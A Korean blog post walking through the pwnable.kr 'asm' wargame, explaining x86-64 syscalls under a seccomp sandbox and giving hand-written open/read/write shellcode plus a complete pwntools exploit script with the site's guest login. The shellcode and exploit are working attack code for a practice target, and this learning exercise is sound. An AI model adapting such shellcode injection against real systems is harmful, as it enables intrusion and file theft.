회사간 후로 일적응하고 논문쓰고 웨이트 트레이닝하고 책보고.. 정신없이 보내다가, 요즘 여유가 생겼다. (전부 코로나 덕분)
논문은 최근에 작성 끝났구.. 운동은 반강제로 못하구.. 집컴은 거의 9년된 데스크탑이라 롤이 잘 안돌아간다 ^^
여러가지 사정으로 주말에 시간이 꽤 많이 생겼는데, 생각날 때마다 wargame 풀면서 놀기로 다짐했다.
먼저 시작은 pwnable.kr. 여기 사이트는 정말 친절하게도 시스템해킹을 배우려는 초보, 중수 해커들에게 다양한 해킹 기술을 습득하도록 길을 알려준다.
무슨 느낌이냐면.. '넌 이걸 풀기 위해 삽질해야해. 겁나게 많이. 답을 꽁꽁 숨겨놨으니 알아서 찾아봐' 가 아니라
'넌 이걸 풀기 위해 삽질해야 해. 근데 어떻게 풀지 모르겠어?? 그런 너를 위해 내가 문제 중간중간에 힌트를 숨겨놨지~ 문제 제목, 설명, 문제 안의 힌트를 보고 잘 유추하면서 구글링해봐'
아마 ppp의 박세준님이 원했던 보안교육 플랫폼(DreamHack)이 pwnable.kr처럼 초보들도 해킹보안에 쉽고 재밌게 접근하도록 유도하는 놀이터같은 곳일 것이다.
이런 멋진 wargame 사이트를 만든 장대희 님께 감사인사를 드리고 싶다. m(_ _)m
티스토리에 글을 얼마나 성실하게 쓸지 사실 잘 모르겠지만.. 귀찮음보다 글을 쓰려는 열정이 더 넘치길 내 자신에게 바란다.
===================================================================================================
코드를 간단하게 훑어보자면.. 이렇다.
먼저 mmap으로 메모리를 char *sh에 매핑한다. 주소는 0x41414000, 사이즈는 0x1000만큼. 그리고 매핑한 주소공간 사이즈만큼 nop(0x90)으로 다 채워버리고 sh의 시작주소인 0x41414000에 stub의 값들을 밀어넣는다.
stub이 뭐인고 하니 모든 레지스터를 0으로 초기화해주는 쉘코드이다. 아주 친절하게도, stub으로 인해 우리가 쉘코드를 짤 때 rdi, rax 등 0으로 초기화해줘야하는 번거로움이 없다.
그리고 read로 사용자에게 1000바이트만큼 입력받고 sandbox()를 작동시킨 후, stub + 우리가 입력한 쉘코드를 실행시킨다.
sandbox의 역할은 단순하다. seccomp_rule을 이용해 시스템콜을 제어한다.
뭐 별건 아니고.. open, read, write, exit, exit_group 만 쓰도록 규칙을 정했다. 이것들만 가지고 flag를 얻어야하는데, flag_name도 더럽게 길다.
문제 내용을 가볍게 읽어봤으니 이제 이 문제의 의도를 알려주겠다.
asm 문제는 '너가 linux x64 쉘코드의 작동원리를 잘 아는지 한번 보겠어. 근데 너가 이미 쉘코드 동작원리를 다 알아?? 알면 Grotesque의 asg 문제 한번 풀어보던가' 이다. 내가 느끼기엔 그렇다.
그럼 문제를 풀기 위해 알아야 하는 지식을 잠깐 훑어보자면..
====================================================================================================
1. 쉘코드를 이용해 open, read, write, exit 함수를 실행시키기 위해서는 system call table이 뭔지 알아야 한다.
관련 주소: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
x64 환경의 read(), write(), open()함수의 system call 번호는 각각 0, 1, 2 이다.
2. x64 환경의 함수가 어떻게 동작하는지 정확하게 알아야 한다.
예를 들면, read(fd, buf, sizeof(buf))라는 함수가 있을 때, 첫번째 인자는 fd, 두번째 인자는 buf, 세번째 인자는 sizeof(buf)이다.
첫번째 인자값은 rdi 레지스터에 들어가고, 두번째는 rsi, 세번째는 rdx에 들어간다. 함수의 반환값은 rax에 들어간다.
관련 주소: https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64
근데, 쉘코드에서 시스템콜을 위해서는 rax에 해당 함수 번호가 들어간다.
3. 쉘코드 만드는 법을 알아야 한다.
원리만 알면 뭐하나, 이제 쉘코드 만드는 법을 알아야 한다.
관련 주소: https://www.exploit-db.com/exploits/42179
위 주소를 참조하면 쉘코드가 대충 이런식으로 구성되어 있구나. 이런 식으로 만들 수 있구나를 알 수 있다.
특히나 asm 문제는 제한적인 환경에서 쉘코드를 때려넣어야 하기 때문에 C언어를 어셈블리 코드로 바꾼 후 어셈블리 코드에 해당하는 쉘코드를 보는 방법은 결코 추천하는 방법이 아니다. 왜냐면.. flag_name을 넣을 공간이 필요한데, 이걸 C언어로 구현하고 어셈으로 변환하면
1
2
3
4
5
6
|
global _start
mov rdi, $flag_name
section .data
flag_name: db "this_is_pwnable.kr_flag...."
|
cs |
300만퍼센트 이런 느낌으로 될 것이다. 이렇게 변환되면 $flag_name에 관한 주소가 따로 할당될텐데, asm 문제에서는 저 주소를 할당할 수도 없기 때문에.. (이미 run되는 바이너리에서 flag_name만 따로 주소 지정을 할 수가 없다.)
그럼 C언어가 아닌 직접 어셈으로 구현한 뒤, 쉘코드로 바꿔주는 방법을 쓰는 게 좋겠다. 그에 관한 방법이 위 exploit-db 사이트에 잘 나와있다.
====================================================================================================
그럼 이제 문제를 풀기 위한 쉘코드를 구현해보자.
일단.. 어셈으로 구현하기 전에 실제로 구현한 게 잘 돌아가는지를 알아야하니까.. C코드로 간단하게 테스트해보겠다.
잘 돌아간다. write 함수도 인자를 좀 넣어보려고 했는데, 막상 그 함수를 쉘코드로 구현했을 때 0x00이 몇개 생성되버려서, 좀 심플하게 바꿔봤다.
이제 저 코드를 어셈으로 바꿔보자면..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
section .text
global _start
_start:
;fd = open("flag_file", 0)
mov rdi, 0x41414141
;0x41414141은 생성된 쉘코드에서 바꿀것임
;내가 넣을 flag_name이 어느 주소에 들어가야 하는지
;생성된 쉘코드 사이즈를 보고 결정해야 하기 때문.
;xor rsi, rsi.. rsi = 0
;rsi 는 0이니 따로 코드 안짬
mov al, 2
syscall
;read(3, 0x41414516, 0x64)
;임의로 값 저장할 buf 주소 지정
push rax
pop rdi
mov dx, 0x110
mov rsi, 0x41414516
xor rax, rax
syscall
;write(0)
xor rax, rax
push rax
pop rdi
mov al, 1
syscall
|
cs |
이렇게 작성할 수 있겠다.
어셈코드 구성은 너무너무 단순하다. 맨 처음 실행되는 쉘코드인 stub에서 모든 레지스터를 0으로 초기화해줬기 때문이다.
mov rdi, 0x41414141
; xor rsi, rsi 를 추가해야 하지만, 이미 0으로 초기화됬으므로 패쓰
mov al, 2
syscall
:: syscall 2번을 호출하겠다. 첫번째 인자는 0x41414141로 하겠다.
syscall 2번은 open 함수를 의미한다. 그럼 저 어셈코드를 C로 풀이해보자면
open(0x41414141, 0) :: 0x41414141에 위치한 문자열값을 open하겠다.
push rax ; syscall 2번의 결과값을 stack에 밀어넣은 후
pop rdi ; 밀어넣은 값을 rdi 레지스터에서 받겠다. 그럼, 첫번째 인자는 syscall 2번의 return 값이다.
; fd = open(), read(fd, buf, sizeof(buf)) 같은 형태일테다.
mov dx, 0x110
mov rsi, 0x41414516
xor rax, rax
syscall
:: syscall 0번을 호출하겠다. (xor rax, rax를 실행하면 rax에 0이 들어간다.) 첫번째 인자는 open 함수의 반환값, 두번째 인자는 0x41414516, 세번째 인자는 0x110으로 하겠다.
syscall 0번은 read 함수를 의미한다. 그럼 저 어셈코드는
read(open() return, 0x41414516, 0x110)이 된다.
두번째 인자를 0x41414516으로 준 이유는 별 이유없다. 그냥 쉘코드, flag_name과 적당히 겹치지 않을 주소를 주면 된다.
사이즈로 0x110을 준 이유는,, 좀 더 작은 값으로 주고 싶긴 했는데 쉘코드로 변환하면 또 중간에 0x00이 생겨버려서 걍 크게 줬다.
xor rax, rax
push rax
pop rdi
mov al, 1
syscall
:: syscall 1번을 호출하겠다. 첫번째 인자는 0이다. --> write(0)
이걸 짰으니 이제 쉘코드로 보기 위해 컴파일해보자.
nasm -f elf64 exploit.s -o exploit.o
ld exploit.o -o exploit
nasm, ld가 없다면 apt-get install 을 이용해서 잘 설치해주자.
이후 컴파일이 완료되면
objdump --disassemble exploit 을 이용해서 쉘코드를 보면 된다.
쉘코드에 해당하는 값은 bf 50 40 41 41 b0 02 .... 등등이 될 것이다.
이제 마지막으로 flag_name 을 넣을 주소를 확인해야하는데, 생성된 쉘코드가 34바이트이니 (하나하나 세어봤다)
python -c 'print "a" * 34' > input
을 이용해서 쉘코드가 어느 주소까지 참조되는지 확인하자.
gdb를 이용해서 0x41414000에 브레이크포인트 찍고 확인해보니
0x4141404f까지 쉘코드가 써지고, 0x41414050부터 문자열이 들어갈 수 있다.
쉘코드도 만들었고, flag_name 주소도 확인했으니 exploit 코드를 짜보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
from pwn import *
s = ssh(user = 'asm', host = 'pwnable.kr', port = 2222, password = 'guest')
remote = s.remote('localhost', 9026)
remote.recvuntil("shellcode: ")
############### syscall_open(flag_address, 0) ####################
payload = "\xbf\x82\x40\x41\x41" # located flag_name: this_is...
#mov rdi, 0x41414082
# debugging 0x41414000 first.
# me shellcode started 0x4141402e
# me shellcode ended 0x4141404e
# and nop sled 0x32
# finally, flag_name located 0x41414082
payload += "\xb0\x02"
# mov al, 2
payload += "\x0f\x05"
# syscall ## syscall(2) = open()
################3 syacall_read(fd, 0x41414516, 0x110) #############
payload += "\x50"
# push rax
payload += "\x5f"
# pop rdi
payload += "\x66\xba\x10\x01"
# mov dx, 0x110 === prevent shellcode (0x00)
payload += "\xbe\x16\x45\x41\x41"
# mov rsi, 0x41414516
payload += "\x48\x31\xc0"
#xor rax, rax
payload += "\x0f\x05"
# syscall ## syscall(0) = read()
####################### syscall_write(0) #########################
payload += "\x48\x31\xc0"
# xor rax, rax
payload += "\x50"
# push rax
payload += "\x5f"
# pop rdi
payload += "\xb0\x01"
# mov al, 1
payload += "\x0f\x05"
# syscall ##syscall(1) = write()
#payload += "\x90" * 100
payload += "\x90" * 50
payload += "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
payload += "\x00\x00"
remote.sendline(payload)
log.info("flag: " + remote.recv())
|
cs |
exploit 코드가 길어보이지만.. 그냥 주석이 많을 뿐 별거 없다.
중간에 nopsled를 넣은 이유는.. 별 이유 없다. '그냥'.
pwntool 기능을 이용해서 간단하게 쉘코드를 만들 수도 있다는데,, 물론 그 기능을 알아두면 좋겠지만 적어도 이 문제 풀 때는 쓰지 않기를 강력하게 권고드린다. 그걸 쓰면 공부가 1도 안되기 때문이다.
ps. 함수작동원리만 알면 굉장히 쉬운 문제인데, 이걸 글로 설명하려니 너무 길어졌다.
주기적으로 wargame 글 업데이트하려고 했는데, 벌써 현타온다. ㅋㅋㅋㅋㅋㅋㅋㅋ 문제 푼 시간보다 글 쓴 시간이 훨씬 더 길다..
나.. 잘 할 수 있을까.
혹시 요즘에는 peda 안쓰고 뭐쓰는지 궁금한데, 시스템해킹에 유용한 툴이랄지.. 이것저것 많이 아시는 분 댓글로 남겨주세요.
꼭 감사인사 드리겠습니다.
(대학원에 진학한 후부터 지금까지 거의 해킹의 '해'자도 못해봐서, 제 시간은 4년 전부터 멈춰있습니다.)
'Wargame > pwnable.kr' 카테고리의 다른 글
[Grotesque] aeg (2) | 2020.10.03 |
---|---|
[Rookies] crypto1 (0) | 2020.09.14 |
[Rookies] note (0) | 2020.09.10 |
[Toddler] fd (0) | 2020.09.06 |
[Grotesque] asg (0) | 2020.08.15 |